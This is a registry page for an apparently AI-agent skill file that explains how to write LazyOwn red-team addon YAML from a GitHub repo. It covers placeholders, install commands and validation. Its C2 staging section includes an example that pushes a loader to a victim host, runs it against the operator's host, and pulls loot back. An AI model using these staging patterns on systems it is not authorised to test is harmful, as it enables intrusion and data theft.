<< All versions

Skill v1.0.1

currentLLM-judged scan95/100
grisuno/lazyown/lazyaddon-creator

+4 new

──Details
PublishedOctober 31, 2026 at 07:41 AM
Content Hashsha256:dea77342fc0e033b...
Git SHAafb2b6218da7
Bump Typepatch
Compare with v1.0.0
──Files
Files (1 file, 15.8 KB)
SKILL.md15.8 KBactive
SKILL.md · 233 lines · 15.8 KB

name: lazyaddon-creator description: "Create a working LazyOwn lazyaddon YAML from a GitHub URL in one shot. Knows the exact schema, placeholder allowlist, install/execute/C2 staging semantics and validation rules." trigger: /lazyaddon-creator metadata: version: "1.0.1"


/lazyaddon-creator

Given a GitHub URL, write lazyaddons/<name>.yaml that registers the tool as a first-class LazyOwn command on the first try. No iteration: fetch facts, pick the archetype, fill the template, run the self-check, write the file.

Usage

/lazyaddon-creator https://github.com/user/repo

Step 1 — Fetch repo facts

bash
REPO=user/repo
curl -fsSL "https://api.github.com/repos/$REPO" | python3 -c "import json,sys; m=json.load(sys.stdin); print(m['name'], '|', m['owner']['login'], '|', m['language'], '|', (m['description'] or '')[:200])"
curl -fsSL "https://api.github.com/repos/$REPO/contents/" | python3 -c "import json,sys; print([e['name'] for e in json.load(sys.stdin)])"
curl -fsSL "https://raw.githubusercontent.com/$REPO/HEAD/README.md" | head -c 4000

You need: repo name, owner, primary language, root file list, README usage section (the PRIMARY command users run).

Step 2 — Pick the archetype

#ArchetypeWhenReference addon
ACloned tool, local executeScanner / analyzer run on operator hostrea.yaml, trivy.yaml
BGlobal binary, no buildnpm install -g, pipx install, go install toolgemini-cli.yaml
CC2 stagerBuild implant/loader, stage to sessions/, deliver via lazycommandbeacon.yaml
DC2 remote opsPush binary to victim, run it there, pull loot backCGOblin.yaml
ENo-clone wrapperPure execute_command, no repo_url/install_path (already-installed CLI)opencode_agent.yaml

Step 3 — Fill the template

yaml
name: shortname # do_<name>. MUST match ^[a-z][a-z0-9_]{0,63}$
description: | # Shown by help. Max 500 chars. Usage + requirements.
What it does. First-time setup. Operator flow with assign.
author: Repo Owner # Max 80 chars
version: "1.0" # MUST match ^\d+(\.\d+){0,3}$ — digits and dots only
enabled: true # Loader defaults to False. Omit this and nothing registers.
params: # Max 20. Every placeholder used MUST be declared here...
- name: target # ...MUST match ^[a-z][a-z0-9_]{0,47}$, type string|integer|boolean
type: string
required: true # required=true MUST exist in live shell params
# (payload.json or params/*.yaml, see Step 4)
description: Path to analyze. Max 200 chars, never empty.
os: any # any|linux|windows|macos|network|containers|saas|iaas
trigger: [] # nmap service names, or [all]. [] = never auto-suggested.
category: "03. Exploitation" # MUST match ^\d{2}\. [name]$ — pick from the table below
module_type: exploit # optional: scanner|exploit|payload|auxiliary
tool:
name: Display Name
repo_url: https://github.com/user/repo.git # MUST end with .git (except archetype E)
install_path: external/.exploit/repo # relative, no spaces, no '..'
install_command: make # runs ONCE on fresh clone, as: cd <install_path> && <cmd>
execute_command: ./tool scan {target} --json # SINGLE braces only. Primary usage, nothing else.

Step 4 — Placeholders (the rule that breaks most addons)

  • Single braces only: `{param}`. {{param}} fails validation and survives substitution visibly.
  • YAML `default:` NEVER substitutes at runtime. The wrapper (lazyown.py via

utils.replace_command_placeholders) substitutes exclusively from live shell params: payload.json ∪ params/*.yaml. A {token} missing there renders literally into the executed command; a required: true param missing there aborts with a warning before executing. Declaring a param with a default: does NOT make it resolve — the default is documentation only.

  • Consequence: every {token} in execute_command, install_command,

remote_command, lazycommand, upload_file or download_file MUST resolve from one of three places:

  1. a builtin key (the documented list below),
  2. a shared parameter declared in the operator registry

(params/operator.yaml),

  1. a parameter declared in the addon YAML itself (params:), which then

belongs to that addon only.

  • Declare once, reuse everywhere. A knob more than one addon could use

does NOT go into the addon YAML and does NOT get a payload key of its own. Declare it in the shared registry and it becomes substitutable in every addon, alias and pipeline, and settable with assign, without touching a single source file:

``bash param create c2_profile --kind string --default "default" --desc "C2 profile name" # or: lazy_orchestrator -> Params tab -> a ``

The registry writes params/operator.yaml; core/payload_schema.py and the addon-creator validator pick the key up automatically. Never hand-edit core/payload_schema.py, lazyc2/addon_creator.py or the key list below for an operator parameter: the registry is the single source of truth.

  • Generic names only — no branding. A token named after the tool that

first needed it (php2shell_url, commix_target, foo_profile) is a defect: it burns one payload key per addon and the repository ends up with thousands of single-consumer keys. Name the concept, not the tool: url, target, path, profile, exploit_profile, outputdir, data. When no generic name fits, create a generic one in the registry and let every addon share it.

  • Builtin keys are the exception. A key that belongs to the framework

itself (routing, C2 wiring, session state) may still be hardcoded, but it is registered in all four places:

  1. params/extended.yaml (runtime value + makes assign <key> work; never edit

payload.json by hand — use assign / lazyown_set_config),

  1. core/payload_schema.py SCHEMA (type coercion + validation),
  2. lazyc2/addon_creator.py payload_placeholders (validator + web creation form),
  3. this list below (documentation).
  • Placeholder vs free args — operator text after the command is appended verbatim

AFTER execute_command (cd <install_path> && <execute_command> <free-args>):

  • Use a placeholder (+ assign flow) for stable scope/config reused across runs:

region, server URL, scan subcommand, output paths.

  • Use free args for per-run input: targets, profiles, extra flags, repeatable

--resource/--namespace. Works with argparse-style optional flags in any position. Does NOT work for positional subcommands (embed them as placeholders, e.g. ./trivy {trivy_scan_type} … {trivy_target}), for ;-chained suite commands (args land on the LAST command only — document "takes no free args"), or for lazycommand-only addons (args append to execute_command, which they lack).

  • Secrets are never placeholders (visible in ps): tokens, secret keys and

passwords travel via env vars (AZURE_ARM_TOKEN, K8S_TOKEN, …) or free args, and the description must say so.

  • The default command must be complete and useful with zero free args.

Known builtin payload.json keys (no declaration needed beyond the params entry). Operator parameters are declared at runtime in params/operator.yaml and are therefore not listed here.

aes_key api_key action backdoor_linux_home backdoor_password backdoor_username backdoor_win_home
backdoor_win_service_path baseoutputdir binary_name c2_decoy_mode c2_fallback_urls c2_malleable_route
c2_open_registration c2_pass c2_port c2_require_beacon_hmac c2_user ca_name cert_pass cloud_prefix
cloud_provider cloud_region data data_file dc_ip device dirwordlist dnswordlist domain
email_from email_password email_to email_username enable_c2_implant_debug enable_chainmode enable_cloudflare
enable_operator_presence enable_toasts endip entropia_artifact entropia_harness_args entropia_kind entropia_name
entropia_opsec entropia_out entropia_seed entropia_seed_a entropia_seed_b entropia_src entropia_type
exploitdb exploitgym_admin_key exploitgym_anthropic_key exploitgym_flag_seed exploitgym_model exploitgym_openai_key
exploitgym_path exploitgym_server_api_key exploitgym_server_salt ext field file ghidra_plugin_url ghidra_server
grype_target headers headers_file hide_code ip json_data json_data_file lhost listener lport
mcp_host mcp_port method mode nameserver note_text os_id outputdir params params_file pass password
path platform port prompt proxy_port query rat_key region report_output_path reverse_shell_port rhost rport
s sandboxed scan_type scope scope_enforcement sleep sleep_start smtp_port smtp_server spoof_ip
session_magic sleep_activation_delay_max sleep_activation_delay_min sleep_jit_enabled sleep_jit_pct_min
sleep_jit_pct_max persistence_cron_schedule persistence_service_name rotate_keys_on_boot max_concurrent
proxy_autostart proxy_gc_days proxy_upstream gym_cleanup_on_exit
start_pass start_user startip subdomain target target_path technique_id template_name toast_max_per_tick toolname
topoexploit_path topoexploit_port trivy_scan_type trivy_target tui_theme ui_hints url url_traffic_1
url_traffic_2 url_traffic_3 user user_agent_1 user_agent_2 user_agent_3 user_agent_lin
winbox_os winbox_install_path
user_agent_win username usrwordlist wordlist orchestrator
local_llm llamacpp_host llm_model_llamacpp agent_model_timeout
android_serial dirtyinit_device_path
wifi_ssid

Step 5 — Runtime order (design against this, not against wishes)

  1. Placeholders substitute from live shell params ONLY (payload.json ∪ params/*.yaml); missing keys render literally, except required: true params missing from params abort with a warning.
  2. If install_path missing: git clone <repo_url> <install_path>, then cd <install_path> && <install_command>. Install runs only on fresh clone, never again. If the binary is missing later, the operator only gets a warning + hint.
  3. Execute: cd <install_path> && <execute_command> <free-args>. A missing first token only warns — it never installs.
  4. upload_file: comma-separated paths → upload_c2 each (C2 must be live).
  5. remote_command: placeholders substituted → issue_command_to_c2.
  6. download_file: comma-separated victim paths → download_c2 each.
  7. lazycommand: placeholders substituted, split by comma, each chunk runs as a LazyOwn shell command via onecmd. Printed, not silent.

Consequences: no commas inside `lazycommand`/`upload_file`/`download_file` entries — a comma is a separator, not punctuation. install_command must leave the tool runnable without operator input. Stage delivery artefacts to sessions/ with stable names so the C2 file endpoint can serve them (../../../sessions/<file> from inside install_path).

Step 6 — install_command decision tree

Makefile/makefile → make (or the README's real target: make windows, make build)
go.mod → go build . (cross: GOOS=windows GOARCH=amd64 go build -o loader.exe)
setup.py/pyproject.toml → pip install .
requirements.txt only → pip install -r requirements.txt
Cargo.toml → cargo build --release (binary lands in target/release/)
package.json (CLI) → npm install && npm run build — or archetype B: npm install -g <pkg>@<ver>
CMakeLists.txt → mkdir build && cd build && cmake .. && make
prebuilt releases only → rm -f <bin>; curl -sSfL <release-url> | tar xz -C . <bin> && chmod +x <bin>
nothing to build (script) → omit install_command entirely

Prefer the release-tarball pattern (see trivy.yaml/grype.yaml) over building from source when the repo publishes binaries: faster, deterministic, no toolchain dependency.

Step 7 — C2 staging fields (archetypes C and D)

yaml
execute_command: make && cp loader ../../../sessions/loader && echo "staged at sessions/loader"
upload_file: ./external/.exploit/repo/loader # operator-host path → upload_c2
remote_command: chmod +x loader && ./loader -url http://{lhost}/loader
download_file: /tmp/loot.txt # victim path → download_c2
lazycommand: serve 8000, upload_c2 sessions/loader # LazyOwn shell commands, comma-separated

Use upload_file + remote_command when the binary runs ON the victim; use lazycommand when the operator must run LazyOwn shell commands (serve files, chain commands). env: under tool: is dashboard-only metadata — the CLI wrapper ignores it.

Step 8 — Categories, os, trigger

Categories (MUST match ^\d{2}\. …$): 01. Reconnaissance, 02. Scanning & Enumeration, 03. Exploitation, 04. Evasion & Bypass, 04. Post-Exploitation, 06. Privilege Escalation, 07. Credential Access, 08. Lateral Movement, 09. Data Exfiltration, 10. Command & Control, 11. Reporting, 12. Credential Access & Bypass, 12. Miscellaneous, 16. Artificial Intelligence, 17. Cloud Attacks, 18. Container & Kubernetes, 20. CI/CD Pipeline Attacks.

  • os: victim platform the addon targets. any = operator-side tool, never filtered. Unknown values warn and fall back to any.
  • trigger: lowercase nmap service names (http, microsoft-ds, ldap) that auto-suggest the addon, or [all] for broad scanners, or [] for manual tools. Max 40, each matching ^[a-z0-9][a-z0-9\-]{0,63}$. Never declare services the tool does not genuinely operate against.

Step 9 — One-shot self-check (run before writing)

bash
python3 -m pytest tests/test_placeholder_coverage.py -q

This locks all of the above across the whole repo: validator allowlist ⊇ live keys, schema ⊇ live keys, skill list ⊇ validator, every addon token declared-or-known, every enabled-addon token present in live shell params, every required: true param without default: present in live params. If it fails, do NOT paper over it with a YAML default:. Fix it the right way:

  • missing key that other addons could use → declare it once in the shared

registry: param create <generic_name> --kind string --default "" --desc "..." (or lazy_orchestrator → Params tab). The schema and the validator pick it up automatically; no source edit.

  • missing key that belongs to the framework itself → register it in the four

places from Step 4.

Plus these manual assertions — every one must hold:

  1. enabled: true present. 2. name matches ^[a-z][a-z0-9_]{0,63}$ and file is lazyaddons/<name>.yaml. 3. version is digits-and-dots. 4. repo_url ends with .git (unless archetype E, which omits repo_url + install_path). 5. No {{/}} anywhere. 6. Every {token} resolves from live shell params (payload.json ∪ params/*.yaml) — verify with python3 -c "import json,yaml,glob; live=set(json.load(open('payload.json'))); [live.update((yaml.safe_load(open(f)) or {}).keys()) for f in glob.glob('params/*.yaml')]; print('cloud_region' in live)". 7. Every required: true param without default: exists in live params. 8. execute_command is the tool's primary usage, complete without free args. 9. No commas inside any single lazycommand/upload_file/download_file entry. 10. description documents first-time setup + the assign <key> flow (only for keys that exist) + free-args examples. 11. install_command is non-interactive and idempotent enough for a fresh clone. 12. category/os/trigger match the Step 8 tables. 13. No secrets as placeholders — env vars or free args only. 14. No branded placeholder: every token is a builtin key, a shared registry parameter, or a concept name (url, target, profile) — never a tool name.

Step 10 — Write and register

Write to lazyaddons/<name>.yaml, then inside the LazyOwn shell run reload_addons (or restart). Verify with list_addons and help <name>.

← v1.0.0All versions